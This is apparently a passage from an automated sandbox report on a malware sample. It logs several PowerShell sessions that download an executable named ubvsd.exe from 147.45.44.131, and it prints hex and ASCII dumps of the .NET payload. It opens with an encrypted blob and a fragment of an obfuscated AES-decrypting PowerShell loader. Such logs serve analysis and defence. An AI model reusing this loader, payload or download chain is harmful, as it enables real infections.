'o0XW5Z7+/UkATBX8sTyNO9LLcAJGsog4Z+47np5iG5myeBQKGa7OiSGasp6NizETBXHnkIlc/J38aPLonP/pGf3Hq66+2bv/cfpshhcX8HmppezFFnnOwlsBLDAcLIJyysFRjqa9cterQ2tMHJEEv+bCm+ys5RLdjDWInY6uuFVihZLqkdc3Id9jcNMsLqGHT8cknPCi7wkrUR/mjC0Ggk0lwy4bxdRAcwCbmmJ0ep3LQVIQyOptXO9gXE/dzsGuIpdxDQbaXwzcIAqgpqnenHUOMv3cilCoyUdaaSRewmex+DM1QoA6PmkZZLEQrkrDpW3vem/bKOFvrgnuR2C8IyGBHEvmsCJqTCkf2jq3NfmjDqnsS5QLZCuazft30vziIumSGfvrYyWAd5OJP1YXQde59s21K1WY0NQn6n0+rnGUJT64wF5ylX8Kxv1keWC/rV4Ugf7fTpfRwKPgLwf/Z650DCiv+jkc2YubbaE+XIjFQ9NBBNOKgmhnmhOLce3sSiDJmXlZU++MmxIY0wwzd1P8M3InRE4NQqu90QnBj0JmLlbt3MJVBsDMEPfn8GLUcE6Cskc1o7ASk9TIsPmmKpBnEyWcUxQYPlt4syzxOD3AkEcuXcbzzT52K7HZbSLz'function etCc ($azvH, $YmbA, $SGb5) { $NWby = [Convert]::FromBase64String($YmbA) $zlhV = [Convert]::FromBase64String($SGb5) $aWSD = [Convert]::FromBase64String($azvH) $GyiY = [System.Security.Cryptography.Aes]::Create() $GyiY.Key = $NWby [TRUNCATED]
Dec 27, 2024 22:33:04.075239897 CET	561	IN	Data Raw: 56 0d 0a 20 20 20 20 24 47 79 69 59 2e 50 61 64 64 69 6e 67 20 3d 20 5b 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 61 64 64 69 6e 67 4d 6f 64 65 5d 3a 3a 50 4b 43 53 37 0d 0a 20 20 20 20 24 4b 52 32 Data Ascii: V $GyiY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $KR29 = $GyiY.CreateDecryptor($GyiY.Key, $GyiY.IV) $aHGE = New-Object System.IO.MemoryStream(, $aWSD) $dqtj = New-Object System.Security.Cryptography.Crypt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	147.45.44.131	80	7824	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:05.000866890 CET	181	OUT	GET /infopage/ubvsd.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Dec 27, 2024 22:33:06.356055975 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:05:52 GMT ETag: "8e00-62a0cfe2cdd29" Accept-Ranges: bytes Content-Length: 36352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0 @ `O H.text `.rsrc@@.reloc@BHD"h0ss(oooooi(oiiYii(oio ,o,o,o(t0(((o(*0rpss o!rsp~(o"&o!rs
Dec 27, 2024 22:33:06.356112957 CET	1236	IN	Data Raw: 70 7e 01 00 00 04 28 02 00 00 06 6f 22 00 00 0a 26 07 17 6f 23 00 00 0a 07 17 8d 22 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 24 00 00 0a 6f 25 00 00 0a 72 3a 74 00 70 7e 01 00 00 04 28 02 00 00 06 6f 26 00 00 0a 72 94 74 00 70 7e 01 Data Ascii: p~(o"&o#"%~(o$o%r:tp~(o&rtp~(o'o(&((((j(rtp(oBSJBv4.0.30319l#~,P#Strings\|(u#US~
Dec 27, 2024 22:33:06.356147051 CET	1236	IN	Data Raw: 00 42 69 74 56 65 63 74 6f 72 33 32 00 67 32 00 70 32 00 43 6f 6e 73 6f 6c 65 41 70 70 31 36 37 00 67 65 74 5f 55 54 46 38 00 3c 4d 6f 64 75 6c 65 3e 00 73 65 74 5f 49 56 00 6d 73 63 6f 72 6c 69 62 00 41 64 64 00 53 79 73 74 65 6d 2e 43 6f 6c 6c Data Ascii: BitVector32g2p2ConsoleApp167get_UTF8<Module>set_IVmscorlibAddSystem.Collections.SpecializedGetMethodCompileAssemblyFromSourceset_ModePaddingModeCipherModeInvokeIDisposableSystem.Net.MimeGetTypeSystem.CoreMethodBaseDispose
Dec 27, 2024 22:33:06.356235981 CET	1236	IN	Data Raw: 6e 76 65 72 74 00 53 79 73 74 65 6d 2e 54 65 78 74 00 49 6d 67 6c 73 77 00 41 72 72 61 79 00 73 65 74 5f 4b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 73 Data Ascii: nvertSystem.TextImglswArrayset_KeySystem.Security.Cryptographyget_CompiledAssemblyCopyset_GenerateInMemorys7eV61nHmqYXSS+ryCq4pt/5Wpqq5HxdeLHXTEHvwc/zpyD/XGm2DyHLr95ry
Dec 27, 2024 22:33:06.356267929 CET	1236	IN	Data Raw: 00 32 00 59 00 43 00 51 00 32 00 6c 00 4b 00 71 00 73 00 49 00 77 00 61 00 43 00 7a 00 59 00 6e 00 4c 00 75 00 5a 00 34 00 74 00 6d 00 49 00 56 00 79 00 4a 00 77 00 34 00 57 00 36 00 55 00 68 00 6c 00 49 00 72 00 64 00 74 00 4f 00 70 00 72 00 2b Data Ascii: 2YCQ2lKqsIwaCzYnLuZ4tmIVyJw4W6UhlIrdtOpr+tNdW3vqkhU8XyaXCKs9GA8lM8UCFkZ+kiJGJspAPSPXC0FjSGpiIs5LRtws1CW+PuXqQ2Lpvd5ZUsFST
Dec 27, 2024 22:33:06.356302977 CET	1236	IN	Data Raw: 00 31 00 6e 00 71 00 5a 00 74 00 55 00 31 00 44 00 44 00 6a 00 54 00 61 00 4c 00 64 00 45 00 79 00 79 00 57 00 42 00 31 00 76 00 4d 00 73 00 4a 00 41 00 30 00 70 00 79 00 78 00 39 00 51 00 4e 00 39 00 75 00 68 00 34 00 64 00 49 00 54 00 50 00 70 Data Ascii: 1nqZtU1DDjTaLdEyyWB1vMsJA0pyx9QN9uh4dITPp8I6d+YKrfTb7W4lSia7zPzzCvXV1QXwclyuVeIcDXENvlXiOTChtQwxDxxwihXPmvksDBkeZ47M4LuWf
Dec 27, 2024 22:33:06.356336117 CET	776	IN	Data Raw: 00 6e 00 49 00 64 00 69 00 49 00 31 00 66 00 76 00 67 00 45 00 2f 00 46 00 56 00 43 00 50 00 30 00 42 00 64 00 44 00 33 00 5a 00 6c 00 59 00 57 00 55 00 46 00 57 00 48 00 63 00 6d 00 53 00 43 00 36 00 69 00 62 00 37 00 59 00 43 00 39 00 32 00 38 Data Ascii: nIdiI1fvgE/FVCP0BdD3ZlYWUFWHcmSC6ib7YC928Snb4pmK+09Q/K9A/3a+N7D4aS9hBaaMMJJAbNljQ5jC1C7oHlHK2qCyZO0JW+0MQQ8xS0wRokTNqLcQY
Dec 27, 2024 22:33:06.356372118 CET	1236	IN	Data Raw: 00 6a 00 4b 00 36 00 4b 00 44 00 6c 00 38 00 64 00 54 00 70 00 59 00 62 00 6d 00 56 00 4f 00 6a 00 5a 00 62 00 66 00 33 00 30 00 44 00 68 00 64 00 74 00 77 00 6e 00 2f 00 43 00 6f 00 43 00 42 00 6f 00 51 00 31 00 49 00 39 00 61 00 63 00 4c 00 43 Data Ascii: jK6KDl8dTpYbmVOjZbf30Dhdtwn/CoCBoQ1I9acLCFa/N5fw+0m918DpqJgakyyjtdv/cfyHZ+HDNtGC7p87V7O947G1arMewNjy0w/COvWdn5lWF6T14o/ip
Dec 27, 2024 22:33:06.356427908 CET	1236	IN	Data Raw: 00 6c 00 59 00 6c 00 49 00 62 00 2b 00 4d 00 4c 00 62 00 76 00 6c 00 6f 00 42 00 67 00 51 00 71 00 46 00 76 00 35 00 49 00 65 00 56 00 51 00 70 00 51 00 36 00 70 00 33 00 4a 00 35 00 6e 00 4d 00 79 00 4e 00 4b 00 4b 00 42 00 52 00 55 00 2b 00 78 Data Ascii: lYlIb+MLbvloBgQqFv5IeVQpQ6p3J5nMyNKKBRU+xZpXa9SD6sF6eonIRsxSHiY8lbVBVlHXccFWLlWfqNWzVj5pUo9f9Jfb0/pdxaiMX1MLzUXE1kXXRVNaN
Dec 27, 2024 22:33:06.356462002 CET	1236	IN	Data Raw: 00 31 00 6d 00 32 00 6c 00 2f 00 5a 00 69 00 65 00 66 00 43 00 41 00 44 00 78 00 79 00 62 00 61 00 52 00 70 00 52 00 51 00 67 00 2b 00 34 00 79 00 39 00 4d 00 4a 00 74 00 56 00 69 00 43 00 78 00 4e 00 4a 00 64 00 41 00 42 00 70 00 36 00 72 00 41 Data Ascii: 1m2l/ZiefCADxybaRpRQg+4y9MJtViCxNJdABp6rAv5GhNjRi5eeNrJxHPkRD3H27bOwo/lRlaFdtp1cCPjpwhIsDxRK11iwlorFFSBmdDv5WwvfsPjMWvoAj
Dec 27, 2024 22:33:06.476685047 CET	1236	IN	Data Raw: 00 6e 00 7a 00 6b 00 43 00 63 00 77 00 78 00 42 00 39 00 48 00 6f 00 58 00 44 00 6a 00 7a 00 5a 00 66 00 63 00 6e 00 48 00 75 00 4d 00 2f 00 39 00 62 00 6d 00 6a 00 73 00 53 00 30 00 47 00 41 00 35 00 52 00 70 00 49 00 57 00 48 00 49 00 33 00 38 Data Ascii: nzkCcwxB9HoXDjzZfcnHuM/9bmjsS0GA5RpIWHI38CL7WPgjdJaEGBXlxrAEsq8b50odWd/t44lLDHVp/44Qd96PHj7Lvgtavrr+iXscoyqYVPNzG8OUCnCYK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	147.45.44.131	80	7760	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:05.025715113 CET	181	OUT	GET /infopage/ubvsd.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Dec 27, 2024 22:33:06.288124084 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:05:52 GMT ETag: "8e00-62a0cfe2cdd29" Accept-Ranges: bytes Content-Length: 36352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0 @ `O H.text `.rsrc@@.reloc@BHD"h0ss(oooooi(oiiYii(oio ,o,o,o(t0(((o(*0rpss o!rsp~(o"&o!rs
Dec 27, 2024 22:33:06.288167953 CET	1236	IN	Data Raw: 70 7e 01 00 00 04 28 02 00 00 06 6f 22 00 00 0a 26 07 17 6f 23 00 00 0a 07 17 8d 22 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 24 00 00 0a 6f 25 00 00 0a 72 3a 74 00 70 7e 01 00 00 04 28 02 00 00 06 6f 26 00 00 0a 72 94 74 00 70 7e 01 Data Ascii: p~(o"&o#"%~(o$o%r:tp~(o&rtp~(o'o(&((((j(rtp(oBSJBv4.0.30319l#~,P#Strings\|(u#US~
Dec 27, 2024 22:33:06.288206100 CET	1236	IN	Data Raw: 00 42 69 74 56 65 63 74 6f 72 33 32 00 67 32 00 70 32 00 43 6f 6e 73 6f 6c 65 41 70 70 31 36 37 00 67 65 74 5f 55 54 46 38 00 3c 4d 6f 64 75 6c 65 3e 00 73 65 74 5f 49 56 00 6d 73 63 6f 72 6c 69 62 00 41 64 64 00 53 79 73 74 65 6d 2e 43 6f 6c 6c Data Ascii: BitVector32g2p2ConsoleApp167get_UTF8<Module>set_IVmscorlibAddSystem.Collections.SpecializedGetMethodCompileAssemblyFromSourceset_ModePaddingModeCipherModeInvokeIDisposableSystem.Net.MimeGetTypeSystem.CoreMethodBaseDispose
Dec 27, 2024 22:33:06.288259983 CET	1236	IN	Data Raw: 6e 76 65 72 74 00 53 79 73 74 65 6d 2e 54 65 78 74 00 49 6d 67 6c 73 77 00 41 72 72 61 79 00 73 65 74 5f 4b 65 79 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 00 67 65 74 5f 43 6f 6d 70 69 6c 65 64 41 73 Data Ascii: nvertSystem.TextImglswArrayset_KeySystem.Security.Cryptographyget_CompiledAssemblyCopyset_GenerateInMemorys7eV61nHmqYXSS+ryCq4pt/5Wpqq5HxdeLHXTEHvwc/zpyD/XGm2DyHLr95ry
Dec 27, 2024 22:33:06.288311005 CET	1236	IN	Data Raw: 00 32 00 59 00 43 00 51 00 32 00 6c 00 4b 00 71 00 73 00 49 00 77 00 61 00 43 00 7a 00 59 00 6e 00 4c 00 75 00 5a 00 34 00 74 00 6d 00 49 00 56 00 79 00 4a 00 77 00 34 00 57 00 36 00 55 00 68 00 6c 00 49 00 72 00 64 00 74 00 4f 00 70 00 72 00 2b Data Ascii: 2YCQ2lKqsIwaCzYnLuZ4tmIVyJw4W6UhlIrdtOpr+tNdW3vqkhU8XyaXCKs9GA8lM8UCFkZ+kiJGJspAPSPXC0FjSGpiIs5LRtws1CW+PuXqQ2Lpvd5ZUsFST
Dec 27, 2024 22:33:06.288346052 CET	1236	IN	Data Raw: 00 31 00 6e 00 71 00 5a 00 74 00 55 00 31 00 44 00 44 00 6a 00 54 00 61 00 4c 00 64 00 45 00 79 00 79 00 57 00 42 00 31 00 76 00 4d 00 73 00 4a 00 41 00 30 00 70 00 79 00 78 00 39 00 51 00 4e 00 39 00 75 00 68 00 34 00 64 00 49 00 54 00 50 00 70 Data Ascii: 1nqZtU1DDjTaLdEyyWB1vMsJA0pyx9QN9uh4dITPp8I6d+YKrfTb7W4lSia7zPzzCvXV1QXwclyuVeIcDXENvlXiOTChtQwxDxxwihXPmvksDBkeZ47M4LuWf
Dec 27, 2024 22:33:06.288379908 CET	744	IN	Data Raw: 00 6e 00 49 00 64 00 69 00 49 00 31 00 66 00 76 00 67 00 45 00 2f 00 46 00 56 00 43 00 50 00 30 00 42 00 64 00 44 00 33 00 5a 00 6c 00 59 00 57 00 55 00 46 00 57 00 48 00 63 00 6d 00 53 00 43 00 36 00 69 00 62 00 37 00 59 00 43 00 39 00 32 00 38 Data Ascii: nIdiI1fvgE/FVCP0BdD3ZlYWUFWHcmSC6ib7YC928Snb4pmK+09Q/K9A/3a+N7D4aS9hBaaMMJJAbNljQ5jC1C7oHlHK2qCyZO0JW+0MQQ8xS0wRokTNqLcQY
Dec 27, 2024 22:33:06.288414955 CET	1236	IN	Data Raw: 00 75 00 57 00 35 00 63 00 66 00 30 00 2b 00 6a 00 2f 00 78 00 4f 00 55 00 5a 00 6a 00 6c 00 6a 00 6a 00 4b 00 36 00 4b 00 44 00 6c 00 38 00 64 00 54 00 70 00 59 00 62 00 6d 00 56 00 4f 00 6a 00 5a 00 62 00 66 00 33 00 30 00 44 00 68 00 64 00 74 Data Ascii: uW5cf0+j/xOUZjljjK6KDl8dTpYbmVOjZbf30Dhdtwn/CoCBoQ1I9acLCFa/N5fw+0m918DpqJgakyyjtdv/cfyHZ+HDNtGC7p87V7O947G1arMewNjy0w/CO
Dec 27, 2024 22:33:06.288502932 CET	1236	IN	Data Raw: 00 75 00 61 00 35 00 6c 00 36 00 31 00 51 00 2b 00 4c 00 65 00 33 00 32 00 4b 00 4f 00 74 00 47 00 6c 00 59 00 6c 00 49 00 62 00 2b 00 4d 00 4c 00 62 00 76 00 6c 00 6f 00 42 00 67 00 51 00 71 00 46 00 76 00 35 00 49 00 65 00 56 00 51 00 70 00 51 Data Ascii: ua5l61Q+Le32KOtGlYlIb+MLbvloBgQqFv5IeVQpQ6p3J5nMyNKKBRU+xZpXa9SD6sF6eonIRsxSHiY8lbVBVlHXccFWLlWfqNWzVj5pUo9f9Jfb0/pdxaiMX
Dec 27, 2024 22:33:06.288532972 CET	248	IN	Data Raw: 00 6f 00 57 00 39 00 42 00 51 00 64 00 57 00 53 00 61 00 35 00 70 00 69 00 4f 00 4b 00 30 00 54 00 31 00 6d 00 32 00 6c 00 2f 00 5a 00 69 00 65 00 66 00 43 00 41 00 44 00 78 00 79 00 62 00 61 00 52 00 70 00 52 00 51 00 67 00 2b 00 34 00 79 00 39 Data Ascii: oW9BQdWSa5piOK0T1m2l/ZiefCADxybaRpRQg+4y9MJtViCxNJdABp6rAv5GhNjRi5eeNrJxHPkRD3H27bOwo/lRlaFdtp1cCPjpwhIsDxRK11iwlorFFSBmd
Dec 27, 2024 22:33:06.408155918 CET	1236	IN	Data Raw: 00 57 00 77 00 76 00 66 00 73 00 50 00 6a 00 4d 00 57 00 76 00 6f 00 41 00 6a 00 65 00 62 00 6e 00 44 00 33 00 49 00 4e 00 30 00 68 00 44 00 44 00 44 00 55 00 77 00 67 00 4e 00 64 00 49 00 36 00 64 00 2f 00 78 00 4d 00 37 00 72 00 69 00 73 00 67 Data Ascii: WwvfsPjMWvoAjebnD3IN0hDDDUwgNdI6d/xM7risgEhA+JCENDLBwmhmlfadgxFAnbo/b/wRgbi5wDasRd8u7XU0pL6HkcW+K45VL3urJluHUO6VeO0HIkGjL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49739	147.45.44.131	80	7880	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:05.176923037 CET	181	OUT	GET /infopage/ubvsd.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Dec 27, 2024 22:33:06.440737009 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:06 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:05:52 GMT ETag: "8e00-62a0cfe2cdd29" Accept-Ranges: bytes Content-Length: 36352 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 50 91 b7 cd 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 84 00 00 00 08 00 00 00 00 00 00 1a a3 00 00 00 20 00 00 00 c0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 01 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c8 a2 00 00 4f 00 00 00 00 c0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 0c 00 00 00 ac a2 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELP"0 @ `O H.text `.rsrc@@.reloc@BHD"h0ss(oooooi(oiiYii(oio ,o,o,o(t0(((o(*0rpss o!rsp~(o"&o!rs
Dec 27, 2024 22:33:06.440768003 CET	224	IN	Data Raw: 70 7e 01 00 00 04 28 02 00 00 06 6f 22 00 00 0a 26 07 17 6f 23 00 00 0a 07 17 8d 22 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 24 00 00 0a 6f 25 00 00 0a 72 3a 74 00 70 7e 01 00 00 04 28 02 00 00 06 6f 26 00 00 0a 72 94 74 00 70 7e 01 Data Ascii: p~(o"&o#"%~(o$o%r:tp~(o&rtp~(o'o(&((((j(rtp(oBSJBv4.0.30319l#~,P#Strings
Dec 27, 2024 22:33:06.440804005 CET	1236	IN	Data Raw: 00 00 7c 09 00 00 28 75 00 00 23 55 53 00 a4 7e 00 00 10 00 00 00 23 47 55 49 44 00 00 00 b4 7e 00 00 b4 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 57 15 02 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 28 00 00 00 05 00 00 00 Data Ascii: \|(u#US~#GUID~#BlobW3((d:A:Z0444(444G4{4b{
Dec 27, 2024 22:33:06.440860033 CET	1236	IN	Data Raw: 00 4d 65 74 68 6f 64 42 61 73 65 00 44 69 73 70 6f 73 65 00 47 75 69 64 41 74 74 72 69 62 75 74 65 00 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 00 43 6f 6d 56 69 73 69 62 6c 65 41 74 74 72 69 62 75 74 65 00 41 73 73 65 6d 62 6c 79 Data Ascii: MethodBaseDisposeGuidAttributeDebuggableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompi
Dec 27, 2024 22:33:06.440922976 CET	1236	IN	Data Raw: 00 44 00 79 00 48 00 4c 00 72 00 39 00 35 00 72 00 79 00 35 00 56 00 31 00 50 00 54 00 54 00 58 00 64 00 4c 00 38 00 62 00 54 00 6d 00 77 00 55 00 30 00 77 00 77 00 4b 00 6c 00 62 00 6c 00 42 00 73 00 6a 00 72 00 39 00 69 00 74 00 54 00 2b 00 6c Data Ascii: DyHLr95ry5V1PTTXdL8bTmwU0wwKlblBsjr9itT+lPYw0Qdr5wrUVun1t1fvfVtpcLKk7BJijHpBCpYSdUEFi6a/fzR9sx9M0Q3VekyFOo87g3M8dI9Rl0psF
Dec 27, 2024 22:33:06.440959930 CET	1236	IN	Data Raw: 00 76 00 64 00 35 00 5a 00 55 00 73 00 46 00 53 00 54 00 7a 00 32 00 43 00 45 00 63 00 6e 00 79 00 57 00 75 00 59 00 36 00 6e 00 51 00 48 00 50 00 43 00 42 00 46 00 38 00 63 00 6b 00 38 00 6b 00 76 00 72 00 36 00 41 00 37 00 6b 00 4d 00 51 00 4e Data Ascii: vd5ZUsFSTz2CEcnyWuY6nQHPCBF8ck8kvr6A7kMQNriOD8qWRMubEcNVBV7mC0XFYH8C5WeNmXC4LvezrsxtFATnc191fs/AnKB4BTEyM2BaxLABQvacSKPZk
Dec 27, 2024 22:33:06.441009998 CET	1236	IN	Data Raw: 00 5a 00 34 00 37 00 4d 00 34 00 4c 00 75 00 57 00 66 00 55 00 34 00 6e 00 64 00 46 00 70 00 38 00 42 00 6c 00 56 00 5a 00 74 00 57 00 2f 00 4f 00 64 00 4e 00 73 00 34 00 6c 00 54 00 75 00 73 00 4f 00 48 00 32 00 6f 00 71 00 54 00 4c 00 67 00 4f Data Ascii: Z47M4LuWfU4ndFp8BlVZtW/OdNs4lTusOH2oqTLgOIO94yny1fscqUUOOKNMWMp843MDJBLIdUk/WyowJL63/U7wJg+Khv3FRNAfvOQRimhdvs4awh8XwEJIm
Dec 27, 2024 22:33:06.441044092 CET	520	IN	Data Raw: 00 6f 00 6b 00 54 00 4e 00 71 00 4c 00 63 00 51 00 59 00 46 00 64 00 33 00 58 00 35 00 4e 00 79 00 47 00 45 00 70 00 6f 00 6c 00 68 00 62 00 47 00 37 00 63 00 79 00 6a 00 47 00 74 00 54 00 38 00 64 00 77 00 74 00 4d 00 6a 00 59 00 32 00 78 00 30 Data Ascii: okTNqLcQYFd3X5NyGEpolhbG7cyjGtT8dwtMjY2x07r8QFek8zXxGgoIU0JHQGl8OmcJyJfgw2CPk3FCQb9orPY9u65c6VQXM34BXwRabqIRv9gcTFCpnv5nv
Dec 27, 2024 22:33:06.441076994 CET	1236	IN	Data Raw: 00 75 00 57 00 35 00 63 00 66 00 30 00 2b 00 6a 00 2f 00 78 00 4f 00 55 00 5a 00 6a 00 6c 00 6a 00 6a 00 4b 00 36 00 4b 00 44 00 6c 00 38 00 64 00 54 00 70 00 59 00 62 00 6d 00 56 00 4f 00 6a 00 5a 00 62 00 66 00 33 00 30 00 44 00 68 00 64 00 74 Data Ascii: uW5cf0+j/xOUZjljjK6KDl8dTpYbmVOjZbf30Dhdtwn/CoCBoQ1I9acLCFa/N5fw+0m918DpqJgakyyjtdv/cfyHZ+HDNtGC7p87V7O947G1arMewNjy0w/CO
Dec 27, 2024 22:33:06.441131115 CET	1236	IN	Data Raw: 00 75 00 61 00 35 00 6c 00 36 00 31 00 51 00 2b 00 4c 00 65 00 33 00 32 00 4b 00 4f 00 74 00 47 00 6c 00 59 00 6c 00 49 00 62 00 2b 00 4d 00 4c 00 62 00 76 00 6c 00 6f 00 42 00 67 00 51 00 71 00 46 00 76 00 35 00 49 00 65 00 56 00 51 00 70 00 51 Data Ascii: ua5l61Q+Le32KOtGlYlIb+MLbvloBgQqFv5IeVQpQ6p3J5nMyNKKBRU+xZpXa9SD6sF6eonIRsxSHiY8lbVBVlHXccFWLlWfqNWzVj5pUo9f9Jfb0/pdxaiMX
Dec 27, 2024 22:33:06.562025070 CET	1236	IN	Data Raw: 00 6f 00 57 00 39 00 42 00 51 00 64 00 57 00 53 00 61 00 35 00 70 00 69 00 4f 00 4b 00 30 00 54 00 31 00 6d 00 32 00 6c 00 2f 00 5a 00 69 00 65 00 66 00 43 00 41 00 44 00 78 00 79 00 62 00 61 00 52 00 70 00 52 00 51 00 67 00 2b 00 34 00 79 00 39 Data Ascii: oW9BQdWSa5piOK0T1m2l/ZiefCADxybaRpRQg+4y9MJtViCxNJdABp6rAv5GhNjRi5eeNrJxHPkRD3H27bOwo/lRlaFdtp1cCPjpwhIsDxRK11iwlorFFSBmd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
